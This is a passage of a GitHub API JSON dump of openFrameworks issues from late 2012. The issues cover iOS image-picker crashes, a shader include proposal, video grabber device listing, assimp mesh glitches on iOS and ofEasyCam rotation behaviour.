abels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-12-10T15:02:44Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"sort of the reverse of: ofxiPhoneUIImageToOFImage\nSome reference code here: http://iphonedevsdk.com/forum/iphone-sdk-development/23525-cgimagecreate-alpha.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1733","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1733/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1733/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1733/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1733","id":9123036,"number":1733,"title":"Request more iOS examples !","user":{"login":"dorald","id":472782,"avatar_url":"https://secure.gravatar.com/avatar/d0d9cf298af15f5198ab8ab5c68a0670?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d0d9cf298af15f5198ab8ab5c68a0670","url":"https://api.github.com/users/dorald","html_url":"https://github.com/dorald","followers_url":"https://api.github.com/users/dorald/followers","following_url":"https://api.github.com/users/dorald/following","gists_url":"https://api.github.com/users/dorald/gists{/gist_id}","starred_url":"https://api.github.com/users/dorald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dorald/subscriptions","organizations_url":"https://api.github.com/users/dorald/orgs","repos_url":"https://api.github.com/users/dorald/repos","events_url":"https://api.github.com/users/dorald/events{/privacy}","received_events_url":"https://api.github.com/users/dorald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-12-09T19:01:11Z","updated_at":"2013-01-11T16:16:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi OF folks !\r\nI like to see more iOS examples and i believe it will be very helpful for beginners like me and for many others probably.\r\n\r\n1- ofxiPhoneImagePicker -> Load and write photo to the PhotoLibrary. For iPhone and iPad\r\n\r\n2- Retina -> detect retina devices and enable or disable retina.\r\n\r\n3- Auto Rotate -> an example how to enable or disable autorotate.\r\n\r\n4- Social networking (addons maybe)-> an example how to integrate facebook,twitter etc.. and how to share photos.\r\n\r\nThanks.\r\nDorald"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1731","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1731/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1731/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1731/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1731","id":9121020,"number":1731,"title":"Feature Discussion - Shader Common Includes","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":34,"created_at":"2012-12-09T15:26:27Z","updated_at":"2013-01-06T20:41:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I often find myself pasting the same shader functions at the of my project shaders.\ni.e. the Photoshop math ones: http://mouaif.wordpress.com/2009/01/05/photoshop-math-with-glsl-shaders/\n\nSomething that I thought could really be useful for people working a lot with shaders, is a common shader library for OF. \n\nWe would have a folder OF/libs/openFrameworks called shaders/ \nwhere we could then have shader code grouped by functionality. \n\n\n shaders/\n imageProcessing.frag\n blending.frag ( ie photoshop blend modes ) \n lighting.frag \n math.frag ( shader perlin noise etc )\n computerVision.frag\n dof.frag \n projectionBlending.frag\n camera.vert\n projectionMapping.frag \n\n\nThen to use you would just do:\n\n myShader.include(\"blending.frag\"); \n myShader.include(\"math.frag\"); \n myShader.load(\"myShader.frag\");\n\nAnything that was in blending.frag could then be used by myShader.frag \n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1730","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1730/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1730/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1730/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1730","id":9120597,"number":1730,"title":"ofxiPhoneImagePicker has a deallocation bug/crash - also needs some cleanup","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":7,"created_at":"2012-12-09T14:27:35Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"To stop it from crashing on exit I had to comment out this line in ofxiPhoneImagePicker.mm:\n\n\n //--------------------------------------------------------------\n - (void)dealloc { \n\n _imagePicker.delegate = nil;\n //_imagePicker.cameraOverlayView = nil;\n [_imagePicker.view removeFromSuperview];\n [_imagePicker release];\n\n\nOther issues:\n\n* The class is quite clunky to use, where you are using bool variables to see if the image has changed and there isn't an easy way to reset the picker. \n* Needs cleanup and changes to make it be a bit more OF / friendly. ( why can't it return an ofImage or at least ofPixels ? )\n* The current example could use some love and it uses a pointer instead of an object for some reason.\n* Would be good to also have an example for image picking from library vs image picking from camera. \n\nCross-referencing #1717 \n\nAlso See http://forum.openframeworks.cc/index.php/topic,11230.msg50737.html#msg50737\n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1729","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1729/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1729/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1729/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1729","id":9119531,"number":1729,"title":"Android on Windows install/run process problems","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-12-09T11:30:02Z","updated_at":"2012-12-11T13:54:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some users are having a pretty bad time setting up OF on windows. apparently there are several issues which rear their ugly heads, see http://forum.openframeworks.cc/index.php/topic,8855.0.html\n\nspecifically, our platform recognition fails because of a new mingw release: Details and a proposed fix are [here](http://forum.openframeworks.cc/index.php/topic,8855.msg50683.html#msg50683).\n\nfurthermore, there are problems with windows Find, pkg-config, paths,...\n\n@arturoc can you please take a look at this, and also help out in the forum thread if you know what's going on?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1728","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1728/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1728/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1728/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1728","id":9079206,"number":1728,"title":"prefix header conflicts on osx. can't have a function called \"check()\" etc. ","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-12-07T05:08:10Z","updated_at":"2012-12-07T10:33:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nso I was working with armadillo: \n\nhttp://arma.sourceforge.net/\n\nwhich is a part of this addon: \n\nhttps://github.com/nkint/ofxSequence\n\nand I noticed an odd compile problem when I included it in OF projects, vs when it was included in a non OF project (such as a console application from xcode). basically it chokes on the code where it defines a function called check(). \n\nthis is easy to test in any osx project: \n\n\tvoid check(){\n\t printf(\"hello world \\n\");\n\t}\n\n\tvoid testApp::setup(){\n\t check();\n\t}\n\nyou can also, even just add a new .cpp file, no includes, and add the check function. ie: \n\nhttp://imgur.com/4Y1vw\n\nIf you trace this -- jump to definition -- this is because of AssertMacros.h check definition, so a quick fix is: \n\n#undef check\n\nbut it seems slight problematic that an empty file in an OF project, with **no includes**, is getting that stuff defined already. It might be worthwhile to take a look at the project setup to try to make sure empty files, and external libraries don't have things like carbon headers being thrown at them. \n\nit looks like the offense is the use of the carbon prefix header: \n\nhttp://i.imgur.com/qnE3O.png\nhttp://en.wikipedia.org/wiki/Prefix_header\n\nI'm wondering, why do we need this, and if it's not maybe a good idea to avoid this so that external files that don't have anything to do with carbon (and don't want to!) can avoid conflicts like this. \n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1726","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1726/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1726/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1726/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1726","id":9040570,"number":1726,"title":"ofVideoGrabber::listDevices() not returning any devices","user":{"login":"JesseScott","id":669104,"avatar_url":"https://secure.gravatar.com/avatar/2f74379dd421ca9719cd6e58a3fcd8e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2f74379dd421ca9719cd6e58a3fcd8e5","url":"https://api.github.com/users/JesseScott","html_url":"https://github.com/JesseScott","followers_url":"https://api.github.com/users/JesseScott/followers","following_url":"https://api.github.com/users/JesseScott/following","gists_url":"https://api.github.com/users/JesseScott/gists{/gist_id}","starred_url":"https://api.github.com/users/JesseScott/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JesseScott/subscriptions","organizations_url":"https://api.github.com/users/JesseScott/orgs","repos_url":"https://api.github.com/users/JesseScott/repos","events_url":"https://api.github.com/users/JesseScott/events{/privacy}","received_events_url":"https://api.github.com/users/JesseScott/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-12-06T01:25:10Z","updated_at":"2012-12-06T02:34:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" The code \n\nvidGrabber.setVerbose(true);\nvidGrabber.listDevices();\nvidGrabber.initGrabber(camWidth,camHeight);\n\nis not returning / printing anything to the console on my system (0072 and 0073) under the videoGrabberExample or any other project (however, the OSX Recorder Example does, when it uses QTKit) ... \n\nOSX | 10.8"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1723","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1723/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1723/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1723/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1723","id":9002126,"number":1723,"title":"bug with ofxAssimpModelLoader / ofVboMesh / ofMesh on iOS ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-12-04T22:57:59Z","updated_at":"2012-12-10T23:08:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" ![buggy assimp](http://theo.tw/OF/iOSAssimpBug.png)\n\nin the attached image you can see a model ( http://theo.tw/OF/http://theo.tw/OF/Island_001.dae ) \n\nbeing rendered in the same release of OF with the desktop OF version on the left and the iOS version on the right. \n\nIn the iOS version you should be able to see weird visual glitches in the mesh. \nthe desktop version loads fine however. \n\nnote: this is true for both the simulator and an iOS device. \n\nI've tried newer versions of assimp and this doesn't fix it. \n\nI suspect it might not actually be an assimp issue but an ofMesh / ofVboMesh one as I have had issues drawing meshes on iOS that rendered fine in OS X ( GL_TRIANGLES MESHES ). \n\nTo reproduce try loading the .dae file linked above into the iOS assimp example. \n\n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1721","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1721/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1721/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1721/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1721","id":8951736,"number":1721,"title":"ofEasyCam upgrade? ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-12-03T14:57:38Z","updated_at":"2012-12-03T23:18:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using ofEasyCam extensively for a project I noticed that the rotation behavior starts to get funky as you translate the camera away from its origin. \n\nie: If you have a really long line extending out from (0,0,0) and then you translate to the end of the line ( using the alt key modifier ) when you rotate (using left click mouse drag) the rotation is still happening around the origin, vs around the center of the camera view ( which is closer to what I was expecting ).\n\nIt seems: \nhttps://github.com/elliotwoods/ofxGrabCam\n\nhas the expected behavior - is this something we would want to bring into ofEasyCam? \n\n@elliotwoods @roymacdonald"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1719","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1719/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1719/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1719/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1719","id":8938890,"number":1719,"title":"Please add ofvideoGrabber ::GetDeviceNumber(),IsDeviceSetup()GetDeviceName()...","user":{"login":"yty","id":841770,"avatar_url":"https://secure.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-12-03T06:51:41Z","updated_at":"2012-12-03T14:08:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"For example, these features are commonly used ...\n\nint ofVideoGrabber::GetDeviceNumber()\n{\n\treturn VI.listDevices();\n\n}\nbool ofVideoGrabber::IsDeviceSetup(int id)\n{\n\treturn\tVI.isDeviceSetup(id);\n}\n\nchar * ofVideoGrabber::GetDeviceName(int deviceID)\n{\n\treturn VI.getDeviceName(deviceID);\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1717","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1717/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1717/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1717/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1717","id":8889134,"number":1717,"title":"ofxiPhoneUIImageToOFImage is returning weird image dimension / orientation","user":{"login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","html_url":"https://github.com/nardove","followers_url":"https://api.github.com/users/nardove/followers","following_url":"https://api.github.com/users/nardove/following","gists_url":"https://api.github.com/users/nardove/gists{/gist_id}","starred_url":"https://api.github.com/users/nardove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nardove/subscriptions","organizations_url":"https://api.github.com/users/nardove/orgs","repos_url":"https://api.github.com/users/nardove/repos","events_url":"https://api.github.com/users/nardove/events{/privacy}","received_events_url":"https://api.github.com/users/nardove/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-12-01T08:50:13Z","updated_at":"2012-12-04T06:52:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"First I will give you my setup:\nDevice iPhone4S\nOF v0073\nRetina enabled\n\nWhen I use the **ofxiPhoneUIImageToOFImage** method on a portrait UIImage from the camera roll I get the image rotated by 90 degrees and stretched vertically, if I get a landscape UIImage I get the image with no rotation but stretched vertically as well, any ideas how to fix this?\n\nI look in side the method but is way beyond my knowledge :(\n\nhere is my code:\n```c++\nvoid testApp::setMyImage( UIImage *image ) {\t\n\tofxiPhoneUIImageToOFImage( image, myImage, ofGetWidth(), ofGetHeight() );\n\t\n\tofLog( OF_LOG_VERBOSE, \"myImage size: \" + ofToString( myImage.width ) + \", \" + ofToString( 